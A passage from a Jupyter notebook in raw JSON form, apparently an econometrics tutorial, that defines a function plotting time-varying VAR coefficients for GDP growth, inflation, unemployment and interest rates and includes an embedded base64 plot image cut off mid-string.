\\{\\sigma_i^2\\}]$.\n", "\n", "First, lets create a function that graphs the coefficients over time, separated into the equations for equation of the observed variables." ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:39.020988Z", "iopub.status.busy": "2021-02-02T06:51:39.019747Z", "iopub.status.idle": "2021-02-02T06:51:39.028709Z", "shell.execute_reply": "2021-02-02T06:51:39.029582Z" } }, "outputs": [], "source": [ "def plot_coefficients_by_equation(states):\n", " fig, axes = plt.subplots(2, 2, figsize=(15, 8))\n", "\n", " # The way we defined Z_t implies that the first 5 elements of the\n", " # state vector correspond to the first variable in y_t, which is GDP growth\n", " ax = axes[0, 0]\n", " states.iloc[:, :5].plot(ax=ax)\n", " ax.set_title('GDP growth')\n", " ax.legend()\n", "\n", " # The next 5 elements correspond to inflation\n", " ax = axes[0, 1]\n", " states.iloc[:, 5:10].plot(ax=ax)\n", " ax.set_title('Inflation rate')\n", " ax.legend();\n", "\n", " # The next 5 elements correspond to unemployment\n", " ax = axes[1, 0]\n", " states.iloc[:, 10:15].plot(ax=ax)\n", " ax.set_title('Unemployment equation')\n", " ax.legend()\n", "\n", " # The last 5 elements correspond to the interest rate\n", " ax = axes[1, 1]\n", " states.iloc[:, 15:20].plot(ax=ax)\n", " ax.set_title('Interest rate equation')\n", " ax.legend();\n", " \n", " return ax\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we are interested in the smoothed states, which are available in the `states.smoothed` attribute out our results object `initial_res`.\n", "\n", "As the graph below shows, the initial parameterization implies substantial time-variation in some of the coefficients." ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:39.033602Z", "iopub.status.busy": "2021-02-02T06:51:39.032359Z", "iopub.status.idle": "2021-02-02T06:51:40.274213Z", "shell.execute_reply": "2021-02-02T06:51:40.275457Z" } }, "outputs": [ { "data": { "text/plain": [ "<AxesSubplot:title={'center':'Interest rate equation'}>" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3sAAAHiCAYAAABRO9VBAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAEAAElEQVR4nOzdd3gVRdvA4d+cmt57DyX03kGaShGQIqCo2BHra//sXV8rr72iInZRsIGIDRBp0nuAhBTSe8/JqfP9sSECCSRAIJS5rytXyNnZ3Tkhye6zz8wzQkqJoiiKoiiKoiiKcnbRtXQHFEVRFEVRFEVRlOangj1FURRFURRFUZSzkAr2FEVRFEVRFEVRzkIq2FMURVEURVEURTkLqWBPURRFURRFURTlLKSCPUVRFEVRFEVRlLOQCvYU5RwnhIgTQkghhKGl+6IoiqKcWYQQoUKIFUKICiHE/4QQTwohPj+B4+0UQgxrvh4qyrlNBXuKUksIMU0I8Y8QokoIkV/771uFEKJ2+1whhK32glYhhNghhHheCOF70DGuFUI4hRCVQohyIcQWIcS4lntX9Qkh0oQQF7Z0PxRFUZTT0zFeJ2YChYCPlPLeYzzPXCHEswe/JqXsJKVcfizHORmEEMOEEJkt3Q9FOVEq2FMUQAhxL/A68DIQBoQCNwODANNBTV+SUnoDwcB1QH9glRDC86A2a6SUXoAf8BHwjRAi4AT7J4QQ6vdVURRFOd3EAruklLKlO9JU6pqqnEvUD7pyzqvNzD0N3CqlnC+lrJCazVLKK6WU1sP3kVLWSCnXA+OBQLTA7/A2LmAO4A60auC8+tohL4VCiFQhxO0HD6cUQiwXQvxXCLEKqAZaCSEGCiHWCyHKaj8PrG07XAix/aBj/yGEWHfQ1yuFEBOFEJ8BMcDC2uzj/Qd16UohxP7a/jxyHN9KRVEU5SxTO2JlpRBilhCipPZ6dVHttrnANcD9tdeUetlAIcS3Qojc2uvWCiFEp9rXZwJXHrTvwtrX67KKQgizEOI1IUR27cdrQghz7bZhQohMIcS9taNxcoQQ9a7FB/WjoWvqdUKIxNrROilCiJtq23oCvwARtX2rFEJECCF0QogHhRD7hBBFQogTfpirKCebCvYUBQYAZuDHY91RSlkB/A4MPnxbbdA2A6gEkhrY/UbgIqA70BOY2ECbq9CGyHgDFcDPwBtoAeYrwM9CiEBgDdBGCBFUe97OQJQQwlsI4Q70Av6WUl4F7AcullJ6SSlfOuhc5wHtgAuAx4UQHY7hW6EoiqKcvfoBe4Ag4CXgIyGEkFJeC3yBNurFS0r5RwP7/gK0BUKATbXtkVLOPmzfixvY9xG0ETTdgW5AX+DRg7aHAb5AJHAD8LYQwv8o7+Pga2o6kA+MA3zQHtq+KoToKaWsQrs+Z9f2zUtKmQ3cgXatHgpEACXA20c5n6K0OBXsKYp28SqUUjoOvCCEWC2EKBVCWIQQQxrZPxs4+MlefyFEKZALXA5MklKWNbDfpcDrUspMKWUJ8EIDbeZKKXfW9m0kkCSl/ExK6ZBSfgXsRgvcaoANwBCgN7ANWIk2DLV/7X5FjbyPp6SUFinlVmAr2oVVURRFUdKllB9IKZ3AJ0A42nSHRkkp59SOmLECTwLdDp7r3ogrgaellPlSygLgKbSA7QB77Xa7lHIx2sPVdkc5Xt01tXafn6WU+2pH8/wF/EYDD28PchPwSO11+8D7mSJUgTPlNKZ+OBUFioAgIYThQMAnpTwwPDKTxh+KRALFB329Vkp5XhPOGwFkHPR1RgNtDn4tAu1J5MHSa88P8BcwDMis/XcJ2tNHa+3Xjck96N/VgFcT9lEURVHOfnXXBylltdDqljV6jRBC6IH/AlPR5rq7ajcFAQ09BD3c4de99NrXDig6+EEtjV+7DrnO1g5HfQJIQLvWewDbG9jvgFjgeyGE66DXnGiBb9ZR9lOUFqMye4qiDYG0AhOOdUchhBdwIfD3cZw3B4g66OvoBtocPOE9G+1Cc7AY/r3AHAj2htT++y+0YG8ohwZ7Z8wkekVRFOWMdgXatfVCtOGWcbWvi9rPjV2PDr/uxdS+drzqzlc7928BMAsIlVL6AYsb6VsGcJGU0u+gDzcppQr0lNOWCvaUc56UshRtaMg7QogpQgiv2knY3QHPhvapnTTeC/gBLYP28XGc+hvgTiFEpBDCD3igkfaLgQQhxBVCCIMQ4jKgI7CodvtqtOErfYF1UsqdaBfJfsCKg46TRwMFYxRFURSlmXmjPUwtQsuaPXfY9sauR18BjwohgoUQQcDjwHGv4XcYE9p8/QLAUZvlG3lY3wIPG3L6HvBfIUQsQG2/jvlBsaKcSirYUxSgtlDJPcD9aBO284D30QKw1Qc1vV8IUYE2bPNTYCMwsHYy97H6AG1+wDZgM1ow50AbEtJQH4vQJpLfi3bhvB8YJ6UsrN1ehTb5faeU0la72xq0uRb5Bx3qebSLZ6kQ4r7j6LeiKIqiNMWnaEMvs4BdwNrDtn8EdKy9Hv3QwP7Pos1H34Y2vHJT7WsnrLbA2h1oD15L0LKQPx20fTdasJlS278ItCWafgJ+q70XWIv2QFVRTlviDFoWRVHOarVPFd+TUh4+VFNRFEVRFEVRjpnK7ClKCxFCuAshxtQOyYxEmyT+fUv3S1EURVEURTk7qMyeorQQIYQHWuGU9oAFbQ29O6WU5S3aMUVRFEVRFOWsoII9RVEURTlJhBBz0Oba5kspOzewXaDNAxqDVjb+WinlplPbS0VRFOVspYZxKoqiKMrJMxcYfZTtFwFtaz9mAu+egj4piqIo5wgV7CmKoijKSSKlXIFWvfdIJgCfSs1awE8IEX5qeqcoiqKc7Qwt3YGjCQoKknFxcS3dDUVRFOUk27hxY6GUMril+9ECItEWaj4gs/a1nKPtpK6PiqIo544TuUae1sFeXFwcGzZsaOluKIqiKCeZECK9pfvQQkQDrzU4mV4IMRNtqCcxMTHq+qgoinKOOJFrpBrGqSiKoigtJxOIPujrKCC7oYZSytlSyt5Syt7BwediElRRFEU5VirYUxRFUZSW8xNwtdD0B8qklEcdwqkoiqIoTXVaD+NUFEVRlDOZEOIrYBgQJITIBJ4AjABSyveAxWjLLiSjLb1wXcv0VFEURTkbqWBPURRFUU4SKeXljWyXwG2nqDuKopwj7HY7mZmZ1NTUtHRXlGPg5uZGVFQURqOx2Y6pgj1FURRFURRFOYtkZmbi7e1NXFwcQjRUB0o53UgpKSoqIjMzk/j4+GY7rpqzpyiKoiiKoihnkZqaGgIDA1WgdwYRQhAYGNjs2VgV7CnHpHzxYjJuvQ1XVVVLd0VRFEVRFEU5AhXoNQ+XS5JTaiGtsAqbw3lM+0opsTtclFnsZBRXsy+/kvzyGmrsTrRR/Ic6Gf9nKthTmqz899/J+r/7qVy6lMJ3323p7iiKoiiKoiinqYEDBzba5rXXXqO6uvoU9Ka+0tJS3nnnnQa3OV0uRo2+iJTMPJILKimotFJpdbA3r5K88hosNgdOl4sdO3fRvXt3evTowb59+7A5XOSWWdidW86u7DJ2ZpeTmFtOelEV5TV2XFKSW17D3rwKdmWXk1tmOenvU83ZO805KyqQNTUYTvGaSlJKqlatxq1TR/R+fpR9/wO5TzyBe+fOGKOiKJr7Cb4TJ2Ju0+aU9ktRFEVRFEU5/a1evbrRNq+99hrTp0/Hw8Ojycd1Op3o9frj7peUEodLkp1XyJtvvc24addid7hwuFx1mTWr3cnLH35FJWB0SeKCPHEz6MkqtZBXXkNeuXasjz6fx6ALRvP4E09isTnZk6tt8HYzYtTr0AkwGXSYjXo8THp0QmBzuKi0Oiiz2MmvsOLrbsLddPzvpzEqs3cSSLudmj17sKak4rIcX8TurKggf9YskocOI2nYcPJfeRXXQWN4a/bswZ6f31xdrqfil1/ImDGD5OHnk375FeQ8/DDu3bsTPft9Qh95GJ2nJ7nP/veknV9RFEVRFOVM5nJJ1qUWszKpkBr7sQ3/Oxt4eXkBsHz5coYNG8aUKVNo3749V155JVJK3njjDbKzsxk+fDhDhw2j2ubgl1+WMGDAAHr07MmUKVOorKwEIC4ujqeffprzzjuPb7/9liVLltCzZ0+6devG+edfQI3dSU5hKVdcdQ3devaiU9dufPLVt5RV23jvg48YM+5ihl84glZt2nL7fQ+TmFPOPf93P6kpKYwc3J8XnnoEd6Mek16HUa8j2NuNiwd1J8hgw62miH49unLbLTcxbmhf7r1uKkHugp1r/+KrOe+z4MtPGTd6BNU2J8HeZtqF+RAX5Emkvzvhfu4EepnxMhvQ1QaSJoOOAE8T0f7u6IUgv+LkVkxVmb1m5rLZ2H/d9Vg2bgTArXNn4r795pjH4OY88igVf/yBz+jRCJOJotmzKV2wAJ+LLsKWso+q1WvQeXgQfO89+F9+OULXfHG7y2Yj/5VXMbdtg1uXrlStWkXI/91HwLXXImqfpATfdit5zz1P9abNePTs0WznVhRFURTl2FRZHWSWWIgP8sRkaPh+IKWgkhV7CyizOBAC4oI8aRfqTXpRFVszS9maUUZKQSV6vcCo02F1uNDpIMDDRJivGwmh3vh7mLDYnfi6G2kV7EnnSF983JqvRPzJVmN3sjO7nL15FWSXWjDqdZgNOtyMeswGHWajDjeDHrNRh80hKbPYcLgkBp1Ar9OyNFVWB+U1Dgw6gafZQJiPG+4mPRvTS9iTW4HTJXFJ7WNXdjnZZdqNvMmgY2DrQC7uGkFMoAd2pwuHU2J1uCiosGpDA+1OauxOrHYXNQ7t3y4JniY9HmYDXmYDHiY9niYDHmZ97dcGPE16PM0G3E16LDYnVTYHHg4X1TYHQgieX5xIYk55g98TKbVM14HZY0IIRN2/tc+6Bu5hO0b48MTFnRr9ntudLiw2J5s3b2bNhs0EBIcxdsRwvl30O6Mvu44XX/4fb33xA/4Bgazfnc6jTz7N25/Nx8PDkznvvMaDTz3HHfc9hMMlsaNnyR/LKCoqZFC/vnz906/4hkZSWlzM3rwK3njhaTr3GcijL75BRXkZl445n3a9BlJQYWX9+vV89+ca/L29mDJ6GJMmXMzLL73ItJS97NyxrcG+i9qsnE0IkpKS+Oqrr/jggw+49NJLWfrLQqZPn86eHZvx8vLizrvvQS8EOl3T7/cNeh2BXibyK6zU2J24Gf/N7tmdLuZvzGRHVhmphSdWJ0MFe81ISkneM89g2biR4HvvwVVeTtEHH1K5bDne5w9v8nGq1qyh4rffCL7zDoJuuQUA30smUfLFl5R+8w06Ly+C772H6rX/kPfMs5TOX0DIXXfiOWRIs0zsLPnyS+yZmUR/8AFeg89rsI3flCkUvP0OxR/PwaPnmyd8TkVRFEU5m1kdTqqtTnRCUGG1szG9hIziaoK9zcQHedE92g+TQYfLJalxaDf8JoMOD5P+kGu7w+lib14lO7LLyCiuJjGnnBVJhdgcLox6Qbswb7pE+hLkZaak2sb+Ygt7cyvILT9y9sCgE7QP96Z/60CkBJvThbm2L8XVdpLyK/l9Vx6uw+pJ6HWCLpG+dAj3IT7Ig9hAT1oFedIq2Av9Mdz0SilxuiR2p6TMYqek2oYQYDboCfUx42Ey1LWrtjnJKbOwr6CKwkorrgPBigRX7ed+rQLoFOFb931fvD2HbzdksiG9BJvDBWg38g3UxzhuQkBsgAdmgx4htACpY4QPD1zUHl93IyuTCvllRy73frv1iMdwM/4beB74rBOCapuTKquDKpuDGrurSf35YHw4unwtK1ZSbcNiO4HMogC9EHWBoAQqauxkl1ow6AUmvQ6XlFhsTqwOlxbIuiQuCYk55WSXWejYrScO9wDyK2207diZjIz99B0wCJ2AIG8zEf4eJP6znLTkvcyYMgYAu81Gjz59Mel1IOG8kReTUljF8t+X061Pf/zDIvFzNxLmE4FBL9i05i/WLv+Nb+ZodSWkw4bZUkKwt5kRIy5kUKc4dEJw6dTJ7Ni0jjYTJ9LUn9L4+Hi6d+8OQK9evUhLSztku1F/fEmXIC8zhZU2cstqiA30QAiB3eli0jur2JFVXvdg5USoYK8ZlX77LaXfzifw5psIuvFGpN1O+S9LKHz3XbyGD2tSICbtdnKf/S/G6GgCrr++7nXPvn3x7NtXGxaq16MzmZAzZlC+6GcKXn+djJtuxv+Kywl99NFGs3zOykqk1YohMLD+tooKit59D8+BA48Y6AHoPDzwv3waRe/PxpaWhikurtH3piiKoihnK5dLsmpfoXaTH+7D9qwyftuVy/bMMvbkVTR6k+5p0hPq40ZmqaUuIAEtoGod7EnnCF8ySy1szyzDUjskUCcgOsCDK/vF0CXSVwsCs8pYvD2X8ho7/h4mwn3dGNA6kJ4xfgxrF0KknzsOl2RvXgVJ+RXEBHjSKcLnkKxCQ2rsTiw2J+4mPcVVNpLzK1mfVszalCKW7MihpNpe19bDpKdLpC/dY/zw9zCxZEcuyfmVhPpogW2fOH+Meh2bM0pJyqtgf3E11UcJRrzNBhBgc7iwOpoW7EzsHoFOJ1i2O5+SajvxQZ5c3T+WPvEBdAz3IdLPHZeU2JwuauwurA7nIZ8NOoGfhxGTXofDpQWjDpfE06zHx82I0yWptDrILauhvMZO10g/fD2OnOUc1i6ER8Z2YEdWOaUWGwadDqNe1A4ZNBPibcbQhIDB6ZJU2xxU25xUWh1UW7VM3oHX3Axals+tKoe4QE+klDwzobMWqNVGalqMKxEIjHqBQa9DrxNa5Uin9l6lBImsPZ+TapsTh9OFU8q6wK+4yobroIhZrxOYDXrcjHoMeh1CQISfO2E+bvh5edA2xAuTQUeQtzuBHgbigjzR6wSh3m74e5rwMOkZOXIEX331Vb33bdALurUKw9PHk11eZrzdjHQI8zkkkyaABQsW0K5du0P23bp5A0a9/pAM5bEmR8xm87/vU6/HcpzTtA5n0OsI9XEjp8xCQaUVs15HQYWV7NIa3pvek9Gdw7X+3nYC52iWnirYs7LIf+FFPAb0J/iOOwAQRiOBM28k9/EnqFq56qjB0wEFb72Nbd8+ot55G91BP1gH6Nzd6/4thMD34nH4jBpJ/iuvUjx3LtJuJ+SBB9F7NfwUQEpJ5q23UbNjBxGzXsb7/PMP2V7yxRc4y8oIvueeRvsacOWVFH80h8LZHxD+32dViV9FURTlnCGlpMLqYE9uBRvSSvhmQ0a94VaeJj1do/y4om8sgV7azayUYDTo6BHtR+tgLworrezKKWfF3gJKqm2M6BiKv6cJs0GHzeGi1GJnd045K5MLCfdz57I+0XSP9qNrlC/RAR4NZhQOZLqONKTMpBN0jvSlc6Rvk9+vm1FfFxBG+LkT4efOkIR/i8eVVdtJK6oiOb+SbZmlbMkoZc7KVOxOScdwHy7pGUlBhZU9uRX8kZinHcfXjQ7hPgxsHYSfh1bQwsfdQICHCQCL3UlOWQ0FFVYAzAYd/p4mQrzNtAr2IszHDZ1Oy6LparNONqeLj1elMWdVKh4mPcMSgpncK4pBrYPqfT90aIFO7emOmafZQKiPW5PbCyHoEtX073lD9DqBt5sRbzcjoUdpl5iYj4/7MQ6xFYKG4k2/o9ROcbpc2J0SgTbk8eB7QYGWufI0G9DrBO6m+mGHt7c3FRUVBAUF0b9/f2677TaSk5Np06YN1dXVZGZmkpCQAIBBp8PbzcgFwwbzf/fcSXp6GvHx8RQXFxMQEMCoUaN48803efPNNxFCsHnzZnr00KYa/f777xQXF+Pu7s4PP/zAnDlz6s7d0oK8TFhs2oMD0ALAJXcNJsS76T9bR6OCvWYgpSTn8SeQQPgzzx6SWfObOJHC994j5/HHifnoQ8ytWh3xOGU//UTR++/jO2UyXsObPuxTmEyEPHA/ws1M0XvvU/r9D7h16IAhNASduwcuSzWGoCBCH3wQy+bNVK9bh97fn8zbbif4zjsJnHkjQqfDWVlF8cdz8Ro6FPfOjY/DNgQH4zdtGiWffYazpITwZ57GEBTU5H4riqIoyolwOF1Y7E5sDpeWFZGQmFtOWmEVHmYDvu5GfNwM+Lgb8XEzohNQUm1HrxOE1d6kF1VZSc6vZHduBdU2be0rbc6Vlq2TgFEvkBLyyq3kllvILasht6yGqoOyUd2i/Xjj8h74exjZkVVOq2BPhiYEN5oxiw7wIDrAg1Gdwprt+1KXxTmFfD2MdPPwo1u0H5N7RQHaEMqyajshhwVEBRVWnC5JmG/z3Mwe7sGL2nPHBW0w6XVNypYpx0+v0zUYIDbVzJkzueiiiwgPD2fZsmXMnTuXyy+/HKtVC/CfffbZumDvgODgYGbPns0ll1yCy+UiJCSE33//nccee4y77rqLrl27IqUkLi6ORYsWAXDeeedx1VVXkZyczBVXXEHv3r0BGDRoEJ07d+aiiy7i5Zdfpnv37mzZsuX439BxEEIQ6e+B3VWl/cx6mZot0AMQDS3od7ro3bu33LBhQ0t3o1GF78+m4NVXCX3sUQKuvLLe9ppdu9h/40xwuQi5717ce/TEFBtTV+wEoPLvlWTeeivu3bsT89GHCNPxPWaqXr+eypWrsGzZgrOkBFd1NTp3d6xJSfiMHYs9Nxd7ZiatfvqR3GeepXzRIjzPO4/gu+6ictkyCt9+m7h5X+PerVuTziddLko+/5z8/72CqVUr4hfMb9ZiMYqinBuEEBullL1buh9nijPl+niipJTsK6hi+Z58tmVqhQqqbA70QlBqsVNYaW3WeVegDY2syxQJbS6W3amdJNTbTJivm/bh4064rxtxQZ70iPEjyKv+aBxFaSmJiYl06NChpbtxWpg7dy4bNmzgrbfeaumuNElD/3cnco1Umb0TIKWk4NXXKJo9G58xF+F/+eUNtnPr2JG4L78gY+ZN5DzyKKAN8TRGR+M1eDDGiHDyXp6FuU0bIt94/bgDPQCPPn3w6NOn3usHAlKA0MceRe/rS8TLL+HRuzd5zz1H2pQpAHied16TAz0AodMRcPXV6AMCyb7vPsoXLsR3woTj7r+iKIpy9iupsvH7Lm0on9moo6TKhsXuolesP50jfai2OVmVXMjsFSnszNaqCEb6udMq2JOYQA+cTomvu5FQH23ujsmgzatyuSRtQrxoE+JFjd1JeY2dcouj9rMdp0vi72nC4dQWNhZCqzYZG+hJx3Cfo865klKq6QqKopxxVGbvBJT/8gtZd9+D39SphD35xCGZuoZIlwvbvn1Ytm3DlppKTVISVavXgN2OR9++RL39Fnpv75PSVykluU88iWXzZuIWzEd3UEBpy8yiZudOHEWFeA8bhjEi4tiP73KRNvVSHCXFtP7llwbnG54K5b/9RsmXXxH9/nst1gdFUY6dyuwdm9P9+niAlBKL3UlljbaA8M7sclYlF7JwW3aTqgq2CtaKalzYMZQo/6Yvuqwo5zqV2TtzqczeaaTkq68xRkUR9tSTTRq6KHQ6zG3bYm7btu41R0kJlo0b8Rw8+KQGJ0IIwp9+qsEnk6aoSExRkSd2fJ2OkPvuZf9111P4zrsE33VnizwBLVvwHdVr11Ly+RcE3nB94zsoiqKcZEKI0cDrgB74UEr5wmHbfYHPgRi06/IsKeXHp7yjR1BeY2drRilVVgdOFzhrHxL7exgJ9DQT5GVCrxPsK6giKb+C5PzKuo/82rlZB/MyG5jYPZLp/WPx9zRhsTnx9zCi1wn+SS0mOb8SbzcDsYGeDG5Tv6iGoiiK0nTNEuw14UI2DPgRSK196Tsp5dPNce6WYk1NpXrdOoLvvvuE5qgZ/P3xvvDCZuzZ0Z3MAMxzwAB8xo2j6P33sWfsJ+zpZ45YFfRkkHY71evXA1D4/vv4Tb4EvZ/fKTu/oijK4YQQeuBtYASQCawXQvwkpdx1ULPbgF1SyouFEMHAHiHEF1JK2/Gcs7x2/auSKjtBXtqC2FaHi3KLnfIaB1VWBw6XpNrqIKvUQpXViY+7AZvDxf7iaoqrbFTVrutVbrGzr6Cy3vpqR+Nh0tMmxIsBrQIJ93PD282Il9mAt5uBNiFetA/zOeIabKM6hTGq8fpgiqIoShOdcLDXxAsZwN9SynEner7TRen8+aDX4ztpYkt35bQS8dKLmNslUPDa67hqrES9/VaTA0yX1Yq02Y57KKtl+w5c1dUE3Xorhe++S+H7swl94P7jOpaiNMa6bx/5L8/CmpJC0Mwb8Z006ZCh3Pb8fCybNuHWucsJZ86VM1pfIFlKmQIghPgamAAcfI2UgLfQ/lh6AcWA42gHtTu1Nb5Kq23sya2gqNJGpdXBiqQC/k4qrJdNayp/D2NdqXRPs54AT08u6hxGv1aB+HtoGTy9TluMuqTaTlGllcIqGzaHi9bBnrQN9Sbcx01l4xRFUU4TzZHZa8qF7IzkslrJfuBB9N5e+F9xBYagIBzFxTgKCyn74Ue8hg/DGBLS0t08rQidjqAbb0To9OS//DIVv/6Kz+jRR91HSkn5op/Jf/llAFot/Am977GvQ1O1ZjUIgf9V07Hn5VL86ad4DT4Pz4EDj+u9KEpDpJQUffghBa+9js7dHVNsLDmPPkbRnI/xnTABYdBTtnAR1t27ATBGRBD3zTy1LMm5KxLIOOjrTKDfYW3eAn4CsgFv4DIp5VEntO3OLafzE7/WP5mfOzcObkXnSB/8PUwUVlrJKavB3ajXliFwN+BpMmDQC9yMeiL93PEyGyivcWDQC3zcjnFdLkVRFOW01hzBXlMuZAADhBBb0S5m90kpdzbDuU8aKSW5Tz9NxZIlCDc3Sr+dX6/NkapvKhBwzdWUL15M7jPP4tm//xGHUzpKSsh+8EGq/lqBuX17rElJ5P/vFcKffuqox7ft349l23a8R46oKzZTvWYt5g7tMfj7E/rQw9Rs20bW3fcQN/9bTNHRzf0WlbOYq6oKe14epqioQ6rjOisqyHv+Bcq++w7v0aMJe/wx9P7+VPzyC8WffV5X8da9WzdC7rsXY2Qk2Q89TOZttxP+3H/ReXlhDD3aMrjKWaihFNfhabdRwBbgfKA18LsQ4m8pZfkhBxJiJjATIDgqnofHtMfDZKBDuDehPm64GfUEeJiOK6sW4Hn8VaAVRVEa4uXlRWVl5SGvrVixgrvuuott27bx9ddfM6W2GnxznuNEDRw4kNWrVx+1zd9//83NN9+M0WhkzZo1uLu7N2sfmlNzBHtNuZBtAmKllJVCiDHAD0Dbentx6MUsJiamGbp3bAreeBPL1q3ofX0pX7yYoFtvIeCaayj/ZQnS5cQQGIQhMABDWBimqKhT3r8zhTAYCP/vs6ROmUrmXXc3WB3TmpzM/pkzcRYUEvrII/hfeQX5s/5H8Zw5+F48rsElJBwFBWTcfAs1O7VnBUG33krwHf/BVV1N9datBFx1FQB6L0+i3n6b1KmXknXnXcR9Mw9hUPWIFJA2G/b8AoyREfWGGFu2byfn4UewJiUBYAgOxu/SS9F5uGNNSqb811+RFgtBt91G0O231e3vM2YMPmPGYM/ORrpch/5t0OvJuuNOUsZqo9hDH32UgOn11+NUzlqZwMFPm6LQHnoe7DrgBamVx04WQqQC7YF1BzeSUs4GZoNWjXPmkNYnrdOKoignQ0xMDHPnzmXWrFktcv6qqiqMRiOmoyxz1ligB/DFF19w3333cd111zVn906K5rj7bfRCdvDTSSnlYiHEO0KIICll4eEHO/xi1gz9a7LSH36g8J13MEZF4cjPx2fMRQTdfjtCp8N/2mWnsitnBbf27Yn477NkP/AgWffcS9RrryKM2hAhl81G1j33Iq02Yr/8EvcunQEI/s/tVPz2GzmPPkb8D9+jO+hJiXQ6ybrv/7Du20foQw9StW49RR99hN/kS7Bs3wF2O54D+te1N8XEEP7kE2TdfQ8lX31NwFXTT+03QDntSJeLzLvupnLpUgwhIZjbtEG6XAiTEZ2bOxVLl2IIDib47rsxBAZQ/ssSCt9+GwCdtze+48bid+lldT+vh2to2RKfkSMxfvsNtvT9lM6fT8Err+A94kKV4Tt3rAfaCiHigSxgGnDFYW32AxcAfwshQoF2QMop7aWiKMopEBcXB4CukeKGH330ES+++CIRERG0bdsWs9nMW2+9RWpqKldccQUOh4PRB00TWr58OY8//jiBgYHs2bOHIUOG8M4779Q7z969e7nkkku45JJLmDFjRoPLUxzIFi5fvpwnn3ySoKAgduzYQa9evfj888/56KOP+Oabb/j111/5448/+OKLL078G3MSNUew1+iFTAgRBuRJKaUQoi+gA4qa4dxN4qyoQOflddRCITV79pD75FN49O1LzJyPQKc7oSqbisZ3wgScVVXkPf0MhbNnE3zbbQAUvvU21r17iXr3nUNunHXu7oQ/+yz7r72W/Fn/I+yxR+u2Fbz5JtX//EP488/jN2ki3iNHsu+iMWTcdju2ffswxsTg0fvQJUi8R4/Gc/4CCl5/HZ/RozAEB5+aN66cloo++JDKpUvxu+wyXBXl2LKyEDo9rooKbOXl+I4bR+jDD6H38QHAb8oUHIWFCDc39F5ex31e9y5dtI9uXUkZdzF5L7xAVO2QT+XsJqV0CCFuB35Fq1g9R0q5Uwhxc+3294BngLlCiO1oo2UeaOhhqKIoynH55UHI3d68xwzrAhe90Hi745Cdnc0zzzzDpk2b8Pb25vzzz6dbt24A3Hnnndxyyy1cffXVvF37MPaAdevWsWvXLmJjYxk9ejTfffddvWGiPXr0YNu2bcybN48ZM2YghOCGG27g0ksvxdOzfgX5zZs3s3PnTiIiIhg0aBCrVq1ixowZrFy5knHjxp3wMNRT4YSjGSmlAzhwIUsEvjlwITtwMQOmADtq5+y9AUyTJ3k1dyklxZ9+SsqEiezt05fM227HUVDQYFtbRgYZN85E7+1N5Cv/QxgMKtBrRgFXXIHPmDEUvT8bW1oaFcuWUfThh/hOvgTv4cPrtffs34+Aa66m5IsvKJ0/H3teHtmPPELRe+/jO/kS/GoroBrDwwm8cQbW3bvx6NuXuHlfH5IJBG2pibDHHkVareQ89RTS1fgivsrZR7pclHw9Twv6x44l7MkniHzlFeLnzSPuqy+JXzCfNr//RsQLz9cFegcYgoJOKNA7mCk6msCZN1LxyxLKf/2tWY6pnP6klIullAlSytZSyv/WvvZebaCHlDJbSjlSStlFStlZSvl5y/ZYURSl5axbt46hQ4cSEBCA0Whk6tSpddtWrVrF5bU1M66qnbpzQN++fWnVqhV6vZ7LL7+clStXNnh8b29vZsyYwapVq5g9ezYffPAB4eHhDbbt27cvUVFR6HQ6unfvTlpaWvO8yVOoWSYxSSkXA4sPe+29g/79Flq1sVOm5PMvyHvuedy7dcP/6qsonfcNKeMuJvLNN/Ds27eunT0vj/3XXY/LaiX2009VxbyTJOTBB6hcsYKMm27GlpGBW/v2hD700BHbB999N1Vr/yHn0ce0F4Qg8Oab6jKDBwTddBMevXrj0af3IWXvD2aKiyPkvnvJe/4FCl5/g5C772qut6W0kKq1/+AoyK/L5FqTk3Hr0KHe76/LZqPyzz8p+vAjanbuxKNPH8KffuqkrjfZmMAZM6ha8TfZDzyAMSIc9y5dWqwviqIoyjngJGXgTpbG8kFHuoYf/roQgu+//56nntKK/n344Yf0rr1vSE9PZ+7cuXz11Vd069aNJ598ssFjmg+qN6HX63E4jroqzmnprKxYYdm5k/yXXsJr2DCi3n0HIQT+0y4n8z//IePGmUS+/hrew4bhslrJvPU2nCUlxMz9GLd2CS3d9bOWMSSE4LvvIu+ZZ/EaOpTIV/6HroF0+QE6NzfivpmHZctWLFu34tGrJx69etVrJwwGPPs3VPz1UP5XX401JZWi99/HWV6G94UX4tmvnyracoZxFBWR99/nKF+8uN42nbc3Iffei98lk0Cno+Srryl8+22cpaUYIyKIePllfMaNbdFAD0BnNhP1ztukXXoZGbfeSvy8eQ3O9TseztJSypf8iveICzEEBjbLMRVFURTlVOrbty933303JSUleHt7s2DBArrUPhgdNGgQX3/9NdOnT683V27dunWkpqYSGxvLvHnzmDlzJpMmTWLSpEl1bdLS0pgxYwaFhYVcd911rFq1isCz/Hp51t3pumw2su+9D31gIOHPP1d3Y2duFU/s55+RMeNGMm+7nYBrrsFZXEzNzp1EvfO2erp+CvhfcQXunTvj1qlTk4IsndmMZ7++ePbr22jbxgghCHv0EWRNDWULvqP0q69x79WLqNdeVfP4DuIoLKQmcTc6T09MMdGnVaa7au0/ZP3ffbhKywi64z94DxtG9YaNoNdhiomh6KM55D75JHn//S96Pz8cBQV4DOhP4A0z8BzQ/4iZ35ZgCAwk+v33SLv8CjJuupnYr7484aGiUkqyHniAqr9WkPfcc/hOGE/gTTerBd0VRVGUFlFdXU3UQdWp77nnHgYPHsykSZMoKSlh4cKFPPHEE+ysrbDevXt3tmzZQmRkJA8//DD9+vUjIiKCjh074lu7/vLrr7/OFVdcweuvv87kyZMPOd+AAQN48MEH2b59O0OGDDkkyDtAr9fz3HPP0bfvid9bninESZ46d0J69+4tN2zYcEz7FM2dS/4LLxL9wQd4DT6v3nZnZSV5L7xA2fwFAATefBMhd93VHN1VzhCu6mrKf/mF3GeeRe/jQ/T77+HWQDWmU8GakoI9Jwe9lxfmhIR6cw6bW01iIrnPPIv3yBH4XXIJFb/9RvXGTbh16ICzrIyiOXOQFktde7dOn